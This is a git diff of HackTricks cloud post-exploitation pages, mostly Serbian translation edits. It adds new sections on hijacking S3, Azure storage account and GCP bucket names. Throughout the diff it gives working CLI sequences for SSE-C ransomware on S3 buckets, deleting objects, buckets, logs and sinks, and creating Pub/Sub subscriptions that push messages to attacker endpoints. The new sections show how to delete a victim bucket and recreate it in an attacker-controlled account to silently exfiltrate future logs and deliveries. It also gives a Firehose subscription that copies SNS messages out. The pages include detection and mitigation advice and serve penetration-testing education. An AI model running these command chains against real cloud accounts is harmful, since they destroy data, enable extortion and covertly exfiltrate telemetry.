diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 814f45305..af501064b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,7 +4,7 @@ ## S3 -Za više informacija pogledajte: +Za više informacija proveri: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,39 +12,39 @@ Za više informacija pogledajte: ### Sensitive Information -Ponekad ćete uspeti da pronađete osetljive informacije koje su čitljive direktno u buckets. Na primer, terraform state secrets. +Ponekad ćeš moći da pronađeš sensitive information koja je čitljiva u bucket-ovima. Na primer, terraform state secrets. ### Pivoting -Različite platforme mogu koristiti S3 za čuvanje osetljivih resursa.\ -Na primer, **airflow** može skladištiti **DAGs** **code** tamo, ili se **web pages** mogu direktno servirati iz S3. Napadač sa write permissions može **modify the code** iz bucket-a kako bi **pivot**-ovao na druge platforme, ili **takeover accounts** menjajući JS fajlove. +Različite platforme bi mogle da koriste S3 za skladištenje sensitive assets.\ +Na primer, **airflow** bi mogao da skladišti **DAGs** **code** tamo, ili bi **web pages** mogle direktno da se serviraju sa S3. Napadač sa write permissions mogao bi da **modifikuje code** iz bucket-a da bi uradio **pivoting** na druge platforme, ili da izvrši **takeover accounts** modifikujući JS files. ### S3 Ransomware -U ovom scenariju, napadač kreira **KMS (Key Management Service) key u svom AWS account** ili u drugom kompromitovanom nalogu. Zatim učini ovaj **key accessible to anyone in the world**, dozvoljavajući bilo kojem AWS useru, roli ili account-u da enkriptuje objekte koristeći taj ključ. Međutim, objekti ne mogu biti dekriptovani. +U ovom scenariju, **napadač kreira KMS (Key Management Service) key u svom AWS account-u** ili u drugom compromised account-u. Zatim ovaj **key učine accessible to anyone in the world**, što omogućava bilo kom AWS user, role, ili account-u da encrypt objects koristeći ovaj key. Međutim, objects ne mogu da se decrypt. -Napadač identifikuje ciljnu **S3 bucket i gains write-level access** do nje koristeći razne metode. To može biti zbog loše konfiguracije bucket-a koja ga izlaže javnosti ili zato što je napadač stekao pristup samom AWS okruženju. Napadač obično cilja bucket-e koji sadrže osetljive informacije kao što su personally identifiable information (PII), protected health information (PHI), logovi, backup-ovi i slično. +Napadač identifikuje target **S3 bucket i dobija write-level access** na njega različitim metodama. To može biti zbog loše bucket konfiguracije koja ga izlaže javno ili zato što napadač dobije access do samog AWS environment-a. Napadač obično targetira bucket-ove koji sadrže sensitive information kao što su personally identifiable information (PII), protected health information (PHI), logs, backups, i još mnogo toga. -Da bi utvrdio da li bucket može biti meta ransomware-a, napadač proverava njegovu konfiguraciju. To uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) enabled**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen ali je MFA delete onemogućen, napadač može **disable Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da izvrši ransomware nad tim bucket-om. +Da bi utvrdio da li bucket može biti targetiran za ransomware, napadač proverava njegovu konfiguraciju. Ovo uključuje proveru da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) enabled**. Ako Object Versioning nije omogućen, napadač može da nastavi. Ako je Object Versioning omogućen ali je MFA delete disabled, napadač može da **disable Object Versioning**. Ako su i Object Versioning i MFA delete enabled, postaje teže za napadača da ransomware-uje taj konkretan bucket. -Korišćenjem AWS API-ja, napadač **replaces each object in the bucket with an encrypted copy using their KMS key**. Ovo efektivno enkriptuje podatke u bucket-u, čineći ih nedostupnim bez ključa. +Koristeći AWS API, napadač **zamenjuje svaki object u bucket-u encrypted copy koristeći svoj KMS key**. Ovo efektivno encrypts podatke u bucket-u, čineći ih inaccessible bez key-a. -Da bi dodatno izvršio pritisak, napadač zakaže brisanje KMS ključa koji je korišćen u napadu. To daje žrtvi 7-dnevni rok da oporavi svoje podatke pre nego što ključ bude obrisan i podaci postanu trajno izgubljeni. +Da bi dodatno pojačao pritisak, napadač zakazuje deletion KMS key-a korišćenog u napadu. To target-u daje 7-day window da oporavi svoje podatke pre nego što se key obriše i podaci postanu permanently lost. -Na kraju, napadač može postaviti završni fajl, obično nazvan "ransom-note.txt", koji sadrži instrukcije za metu kako da povrati svoje fajlove. Ovaj fajl se upload-uje bez enkripcije, verovatno da bi privukao pažnju mete i obavestio je o ransomware napadu. +Na kraju, napadač može da upload-uje final file, obično nazvan "ransom-note.txt," koji sadrži instrukcije za target kako da preuzme svoje files. Ovaj file se upload-uje bez encryption, verovatno da bi privukao pažnju target-a i učinio ga svesnim ransomware napada. #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -Druga varijanta zloupotrebljava **SSE-C** (S3 server-side encryption with **customer-provided keys**). Sa SSE-C, **client provides the encryption key on every request** i **AWS does not store the key**. To znači da ako napadač prepiše objekte koristeći **their own SSE-C key**, podaci žrtve postaju nečitljivi osim ako žrtva ne može da obezbedi taj napadačem kontrolisani ključ. +Druga varijanta je abuse-ovanje **SSE-C** (S3 server-side encryption with **customer-provided keys**). Sa SSE-C, **client provides the encryption key on every request** i **AWS does not store the key**. To znači da ako napadač rewrites objects koristeći **their own SSE-C key**, victim-ovi podaci postaju unreadable osim ako victim ne može da pruži taj attacker-controlled key. -- **Preconditions:** Kompromitovani AWS credentials (ili bilo koji principal sa odgovarajućim permisijama) i mogućnost da **rewrite objects** (npr. `s3:PutObject` na ciljanim keys/prefixes). Ovo se često kombinuje sa mogućnošću postavljanja destruktivnih lifecycle politika (vidi dole), npr. `s3:PutLifecycleConfiguration`. +- **Preconditions:** Compromised AWS credentials (ili bilo koji principal sa odgovarajućim permissions) i mogućnost da se **rewrite objects** (npr. `s3:PutObject` na target keys/prefixes). Ovo je često upareno sa mogućnošću postavljanja destructive lifecycle policies (vidi ispod), npr. `s3:PutLifecycleConfiguration`. - **Attack chain:** -1. Napadač generiše nasumičan 256-bit ključ (AES-256) i zadržava ga. -2. Napadač **rewrites** postojeće objekte (isti object keys) koristeći SSE-C headers tako da je čuvani objekat sada enkriptovan sa napadačevim ključem. -3. Žrtva ne može da download-uje/dekriptujete bez pružanja SSE-C ključa (čak i ako su IAM permisije ispravne). -4. Napadač može obrisati ključ (ili jednostavno nikada ne obezbediti isti) kako bi podaci postali neoporavljivi. +1. Napadač generiše random 256-bit key (AES-256) i čuva ga. +2. Napadač **rewrites** postojeće objects (isti object keys) koristeći SSE-C headers tako da je stored object sada encrypted sa attacker key-om. +3. Victim ne može da download/decrypt bez pružanja SSE-C key-a (čak i ako su IAM permissions u redu). +4. Napadač može da obriše key (ili jednostavno nikada ne podeli) da bi data postali unrecoverable. -Example (conceptual) CLI usage: +Primer (konceptualne) CLI upotrebe: ```bash # Upload/overwrite an object encrypted with attacker-provided SSE-C key aws s3 cp ./file s3:/// \ @@ -56,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### Adding Pressure: Lifecycle "Timer" Abuse +##### Dodavanje pritiska: zloupotreba lifecycle "timera" -Da bi uklonili opcije za oporavak (poput starih verzija), napadači mogu kombinovati SSE-C prepisivanja sa **pravila životnog ciklusa** koja ističu objekte i/ili brišu neaktuelne verzije nakon kratkog perioda: +Da bi uklonili opcije za oporavak (kao što su stare verzije), napadači mogu da kombinuju SSE-C rewrites sa **lifecycle rules** koje isteknu objekte i/ili obrišu noncurrent verzije nakon kratkog perioda: -- `s3:PutLifecycleConfiguration` na bucket-u omogućava napadaču da zakaže brisanja bez izvršavanja eksplicitnih operacija brisanja za svaki objekat/verziju. -- Ovo je naročito ozbiljno kada je **verzionisanje omogućeno**, jer može ukloniti "prethodnu dobru verziju" koja bi inače omogućila oporavak. +- `s3:PutLifecycleConfiguration` na bucket-u omogućava napadaču da zakazuje brisanja bez izdavanja eksplicitnih delete operacija za svaki objekat/verziju. +- Ovo je posebno uticajno kada je **versioning enabled**, jer može ukloniti "prethodnu dobru verziju" koja bi inače omogućila recovery. -##### Detection & Mitigations +##### Detekcija i mitigacije -- Preferirajte **SSE-KMS** (ili SSE-S3) umesto SSE-C osim ako nemate snažan operativni razlog da dozvolite SSE-C. -- Pratite/pokrećite alarm za `PutObject` zahteve koji koriste SSE-C zaglavlja (CloudTrail data events za S3). -- Pratite/pokrećite alarm za neočekivane `PutBucketLifecycleConfiguration` (promene pravila životnog ciklusa). -- Pratite/pokrećite alarm za nagle skokove aktivnosti prepisivanja (isti ključevi brzo ažurirani) i brisanja delete-markera/brisanja verzija. -- Ograničite rizične permisije: Ograničite `s3:PutObject` na neophodne prefikse; strogo ograničite `s3:PutLifecycleConfiguration` i `s3:PutBucketVersioning`; razmotrite zahtevanje MFA za osetljive administratorske akcije (gde je primenljivo) i koristite odvojene admin role sa odobrenjima. -- Postura oporavka: Koristite **verzionisanje**, **rezervne kopije**, i nepromenljive/izvanmrežne kopije (S3 replication to protected account, backup vaults, itd.); zaštitite neaktuelne verzije od agresivnog brisanja i osigurajte promene lifecycle-a pomoću SCPs / guardrails. +- Preferirajte **SSE-KMS** (ili SSE-S3) umesto SSE-C osim ako nemate jak operativni razlog da dozvolite SSE-C. +- Pratite/upozoravajte na `PutObject` zahteve koji koriste SSE-C headers (CloudTrail data events za S3). +- Pratite/upozoravajte na neočekivani `PutBucketLifecycleConfiguration` (promene lifecycle-a). +- Pratite/upozoravajte na nagle skokove u overwrite aktivnosti (isti ključevi se brzo ažuriraju) i delete-marker/version brisanja. +- Ograničite permissions visokog rizika: Limit `s3:PutObject` na potrebne prefixes; strogo ograničite `s3:PutLifecycleConfiguration` i `s3:PutBucketVersioning`; razmotrite zahtev za MFA za osetljive admin akcije (gde je primenljivo) i koristite odvojene admin role sa odobrenjima. +- Recovery postura: Koristite **versioning**, **backups**, i immutable/offline kopije (S3 replication u zaštićeni account, backup vaults, itd.); zaštitite noncurrent verzije od agresivnog brisanja i obezbedite lifecycle promene preko SCPs / guardrails. ### `s3:RestoreObject` -Napadač sa permisijom `s3:RestoreObject` može reaktivirati objekte arhivirane u Glacier ili Deep Archive, čineći ih privremeno dostupnim. Ovo omogućava oporavak i eksfiltraciju istorijski arhiviranih podataka (rezervne kopije, snapshot-i, logovi, sertifikati, stari tajni podaci) koji bi inače bili nedostupni. Ako napadač kombinuje ovu dozvolu sa dozvolama za čitanje (npr. `s3:GetObject`), može dobiti pune kopije osetljivih podataka. +Napadač sa `s3:RestoreObject` permission može da reaktivira objekte arhivirane u Glacier ili Deep Archive, čineći ih privremeno dostupnim. Ovo omogućava recovery i exfiltration istorijski arhiviranih podataka (backups, snapshots, logs, certifications, stari secrets) koji bi inače bili van domašaja. Ako napadač kombinuje ovu permission sa read permissions (npr. `s3:GetObject`), može da dobije pune kopije osetljivih podataka. ```bash aws s3api restore-object \ --bucket \ @@ -86,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Napadač koji ima s3:Delete* dozvolu može izbrisati objekte, verzije i cele buckets, ometati rezervne kopije i prouzrokovati neposredni i nepovratan gubitak podataka, uništenje dokaza i kompromitovanje artefakata rezervne kopije ili oporavka. +Napadač sa s3:Delete* dozvolom može da obriše objekte, verzije i cele bucket-e, omete bekape i prouzrokuje trenutno i nepovratno gubljenje podataka, uništenje dokaza i kompromitovanje backup ili recovery artefakata. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -103,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Za više informacija** [**pogledajte originalno istraživanje**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### Global bucket name takeover of autonomous writers - `s3:DeleteBucket` + +S3 bucket names su globalno jedinstvena. Ako žrtvin nalog ima automatizovane writer-e koji stalno isporučuju podatke na `arn:aws:s3:::` i napadač može da isprazni/obriše taj bucket, napadač može ponovo da kreira isti bucket name u nalogu pod svojom kontrolom i prima buduće isporuke bez menjanja konfiguracije upstream servisa. + +Dobre mete za proveru uključuju S3 replication destinacije, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains koje završavaju u S3, kao i custom backup ili export jobs. +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +Replacement bucket policy must allow upstream writer to put objects. Exact principal depends on the service: for example an IAM replication role, a Firehose delivery role, or a service principal constrained with `aws:SourceArn` / `aws:SourceAccount`. + +**Potential Impact:** tiha exfiltration future replicated objects, logs, telemetry, backups, and pipeline artifacts to attacker-controlled AWS account. + +**Detection & Mitigation:** alert on deletion of buckets referenced by replication rules or delivery streams, monitor for `NoSuchBucket` delivery failures followed by bucket recreation, restrict `s3:DeleteBucket` on export destinations, and pin cross-account deliveries with strict bucket policies and ownership expectations. + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index d78e01aed..f976ab989 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -Iskoristite Firehose subscription protocol da registrujete attacker-controlled Kinesis Data Firehose delivery stream na žrtvinom SNS standard topic-u. Kada je subscription uspostavljen i potrebna IAM role veruje `sns.amazonaws.com`, svaka buduća notifikacija se trajno zapisuje u attacker-ov S3 bucket uz minimalni šum. +Zloupotrebi Firehose subscription protokol da registruješ Kinesis Data Firehose delivery stream pod kontrolom napadača na victim SNS standard topic. Kada je subscription uspostavljen i potrebna IAM role veruje `sns.amazonaws.com`, svaka buduća notification se trajno upisuje u S3 bucket napadača uz minimalnu buku. -## Zahtevi -- Dozvole na nalogu napadača za kreiranje S3 bucket-a, Firehose delivery stream-a i IAM role koje koristi Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, itd.). -- Mogućnost da se `sns:Subscribe` na žrtvin topic (i opciono `sns:SetSubscriptionAttributes` ako je subscription role ARN dodeljen nakon kreiranja). -- Topic policy koja omogućava attacker principal-u da se pretplati (ili napadač već deluje u istom nalogu). +## Requirements +- Permissions u attacker account-u za kreiranje S3 bucket-a, Firehose delivery stream-a, i IAM role koju koristi Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, itd.). +- Mogućnost da se izvrši `sns:Subscribe` na victim topic (i opcionalno `sns:SetSubscriptionAttributes` ako je subscription role ARN dostavljen nakon kreiranja). +- Topic policy koja dozvoljava attacker principal-u da se subscribe-uje (ili attacker već radi unutar istog account-a). -## Koraci napada (primer u istom nalogu) +## Attack Steps (same-account example) ```bash REGION=us-east-1 ACC_ID=$(aws sts get-caller-identity --query Account --output text) @@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` -## Čišćenje -- Obrišite SNS subscription, Firehose delivery stream, privremene IAM roles/policies i attacker S3 bucket. +## Cleanup +- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket. -## Uticaj -**Potencijalni uticaj**: Kontinuirano i trajno exfiltration svake poruke objavljene na ciljani SNS topic u attacker-controlled storage, uz minimalan operativni otisak. +## Impact +**Potential Impact**: Kontinuirana, trajna exfiltration svake poruke objavljene na targetovani SNS topic u storage pod kontrolom napadača uz minimalan operational footprint. + +## Related Bucket-Name Hijack Variant + +Ako postojeći SNS -> Firehose -> S3 chain već upisuje u bucket i napadač može da obriše taj bucket, možda će moći da ponovo kreira isto globally-unique S3 bucket ime u account-u pod kontrolom napadača. Buduće Firehose deliveries tada mogu da završe u zamenskom bucket-u bez menjanja SNS subscription ili Firehose stream konfiguracije. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +Dodeli Firehose delivery role pristup replacement bucket ako role može da piše cross-account. Prati brisanje bucket-a na Firehose destinacijama, delivery failures, i neočekivane promene ownership-a bucket-a. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index c44c57424..ea0ab47aa 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -Za više informacija o skladištu, proverite: +Za više informacija o storage proverite: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ Za više informacija o skladištu, proverite: ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Principal sa ovom dozvolom će moći da **lista** blobove (fajlove) unutar kontejnera i **preuzme** fajlove koji mogu sadržati **osetljive informacije**. +Principal sa ovom dozvolom će moći da **prikaže** blobs (fajlove) unutar container-a i da **preuzme** fajlove koji mogu sadržati **sensitive information**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda smeštenog u blob): +Principal sa ovom dozvolom će moći da **upisuje i prepisuje fajlove u containerima**, što bi moglo da mu omogući da prouzrokuje određenu štetu ili čak eskalira privilegije (npr. da prepiše neki code sačuvan u blob-u): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -Ovo bi omogućilo brisanje objekata unutar naloga za skladištenje što bi moglo **prekinuti neke usluge** ili učiniti da klijent **izgubi dragocene informacije**. +Ovo bi omogućilo brisanje objekata unutar storage account-a, što može **prekinuti neke servise** ili navesti klijenta da **izgubi vredne informacije**. + +### Preuzimanje naziva storage account-a za diagnostic exports + +Azure Storage account imena su globalno jedinstvena. Neki autonomni exports, kao što su Azure Monitor diagnostic settings, nastavljaju da upisuju logove ili metrike u konfigurisan storage account. Ako napadač može da obriše taj storage account i ponovo kreira isto ime u subscription-u kojim upravlja napadač unutar istog tenant-a, buduća exported telemetry može biti isporučena u zamenski account bez menjanja diagnostic setting-a. + +Ovo je posebno zanimljivo kada napadač ima destruktivne dozvole kao što su `Microsoft.Storage/storageAccounts/delete`, ali ne može da ažurira nadzirani resource niti njegove diagnostic settings. + +Za ovo je potrebno da naziv storage account-a bude oslobođen za ponovno korišćenje. U praksi, Azure storage account soft delete / recovery zaštite mogu da odlože ili spreče trenutno ponovno korišćenje, posebno između različitih tenant-a. +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**Potential Impact:** dugotrajna exfiltracija budućih logova, metrika, audit podataka i dijagnostičkih arhiva na subscription pod napadačevom kontrolom. + +**Detection & Mitigation:** alarmirati na brisanje storage accounts na koje se referiše u diagnostic settings, napraviti inventar diagnostic settings sa `storageAccountId`, pratiti dangling destinacije i strogo ograničiti destruktivne permissions na logging/archive storage accounts. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index d963d8fd8..8c3d3fbaf 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -10,25 +10,25 @@ Za više informacija pogledajte: ../gcp-services/gcp-logging-enum.md {{#endref}} -Za druge načine kako poremetiti monitoring pogledajte: +Za druge načine da poremetite monitoring pogledajte: {{#ref}} gcp-monitoring-post-exploitation.md {{#endref}} -### Podrazumevano logovanje +### Default Logging -**Po defaultu, nećeš biti otkriven samo zbog izvršavanja read akcija. Za više informacija pogledajte sekciju Logging Enum.** +**Podrazumevano nećete biti uhvaćeni samo zbog izvođenja read radnji. Za više informacija pogledajte Logging Enum sekciju.** -### Dodavanje izuzetog Principal-a +### Add Excepted Principal -U [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) moguće je dodati principe kojima se neće generisati logovi. Napadač bi ovo mogao zloupotrebiti da bi izbegao otkrivanje. +U [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) moguće je dodati principals koji neće generisati logs. Napadač bi mogao da zloupotrebi ovo kako bi izbegao da bude uhvaćen. -### Čitanje logova - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-Pročitaj unose iz logova +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -44,18 +44,18 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
-Obriši zapise dnevnika +Obriši unose log-a ```bash # Delete all entries from a log in the _Default log bucket - logging.logs.delete gcloud logging logs delete ```
-### Pisanje logova - `logging.logEntries.create` +### Zapiši logove - `logging.logEntries.create`
-Kreiraj log zapis +Zapiši log entry ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR @@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
-Ažuriraj retenciju log bucket-a +Ažuriraj zadržavanje log bucket-a ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) @@ -122,7 +122,7 @@ gcloud logging views update --log-filter="resource.type=gce_instance"
-Ažuriraj metrike zasnovane na logovima +Ažuriraj log-based metrics ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID @@ -133,7 +133,7 @@ gcloud logging metrics update --description="Changed metric descri
-Obriši log-based metrike +Obriši log-based metrics ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete @@ -144,7 +144,7 @@ gcloud logging metrics delete
-Izbriši sink za logove +Obriši log sink ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete @@ -155,7 +155,7 @@ gcloud logging sinks delete
-Ažuriraj/ometi log sink +Ažuriraj/poremeti log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Cloud Logging sink hijack bucket-name - `storage.buckets.delete` + +Cloud Logging sinks mogu kontinuirano da izvoze logove na Cloud Storage destinaciju kao što je `storage.googleapis.com/` ili `storage.googleapis.com//`. Ako napadač može da obriše odredišni bucket, ali ne može da ažurira sink, i dalje bi mogao da preusmeri buduće exportovane logove tako što će ponovo kreirati isti globalno-unikatan bucket name u projektu kojim upravlja napadač. + +Ovo je korisno kada kompromitovani principal ima destruktivne storage permissions kao što su `storage.buckets.delete`, `storage.objects.delete` i `storage.objects.list`, ali nema `logging.sinks.update`. +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potencijalni uticaj:** tiha dugoročna exfiltracija budućih audit logova, application logova, security telemetry i bilo kojih drugih događaja koji se poklapaju sa sink filterom. + +**Detekcija i mitigacija:** alarmirati na brisanje bucket-ova na koje se pozivaju aktivni sink-ovi, napraviti inventory destinacija sink-ova radi otkrivanja dangling bucket imena, ograničiti `storage.buckets.delete` na logging destinacijama i zaštititi export bucket-ove pomoću retention/hold kontrola gde god je moguće. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 75c9affdf..e78af396c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -4,7 +4,7 @@ ## Pub/Sub -Za više informacija o Pub/Sub proverite sledeću stranicu: +Za više informacija o Pub/Sub pogledajte sledeću stranicu: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,11 +12,11 @@ Za više informacija o Pub/Sub proverite sledeću stranicu: ### `pubsub.topics.publish` -Objavljivanje poruke u topic, korisno za **slanje neočekivanih podataka** i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti: +Objavi poruku u topic-u, korisno za **slanje neočekivanih podataka** i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
-Objavi poruku u topic +Objavi poruku na topic-u ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" @@ -25,11 +25,11 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -Koristan za sprečavanje da subscription prima poruke — može se koristiti za izbegavanje detekcije. +Korisno za sprečavanje da subscription prima poruke, možda da bi se izbeglo otkrivanje.
-Detach subscription from topic +Odvoji subscription od topic-a ```bash gcloud pubsub topics detach-subscription ``` @@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -Korisno za sprečavanje da subscription prima poruke, možda kako bi se izbegla detekcija.\ -Moguće je izbrisati topic čak i kada su subscriptions prikačene na njega. +Korisno za sprečavanje da subscription prima poruke, možda da se izbegne detekcija.\ +Moguće je obrisati topic čak i kada su subscription-ovi zakačeni za njega.
-Obriši topic +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -Iskoristite ovu dozvolu da izmenite neka podešavanja teme i ometate je, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Koristite ovo permission da ažurirate neka podešavanja topic-a i poremetite ga, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Dodelite sebi dozvolu da izvršite bilo koju od prethodnih attacks. +Dajte sebi permission da izvršite bilo koji od prethodnih attacks. ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -84,18 +84,18 @@ gcloud pubsub topics set-iam-policy \ ``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Preuzmite sve poruke na web serveru: +Preuzmite sve poruke na web server:
-Kreirajte push subscription da biste primali poruke +Kreiraj push subscription da prima poruke ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```
-Kreirajte subscription i koristite ga za **pull messages**: +Kreirajte subscription i koristite je za **pull messages**:
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nešto slično: +**Obriši pretplatu** može biti korisno za ometanje sistema za obradu logova ili nečeg sličnog:
-Brisanje subscription-a +Obriši pretplatu ```bash gcloud pubsub subscriptions delete ``` @@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -Koristite ovu dozvolu da ažurirate neko podešavanje tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) ili samo da ga ometate. +Koristite ovu permisiju da ažurirate neku postavku tako da se poruke čuvaju na mestu kojem možete da pristupite (URL, Big Query tabela, Bucket) ili samo da je poremetite.
-Endpoint za ažuriranje subscription-a +Update subscription endpoint ```bash gcloud pubsub subscriptions update --push-endpoint ```
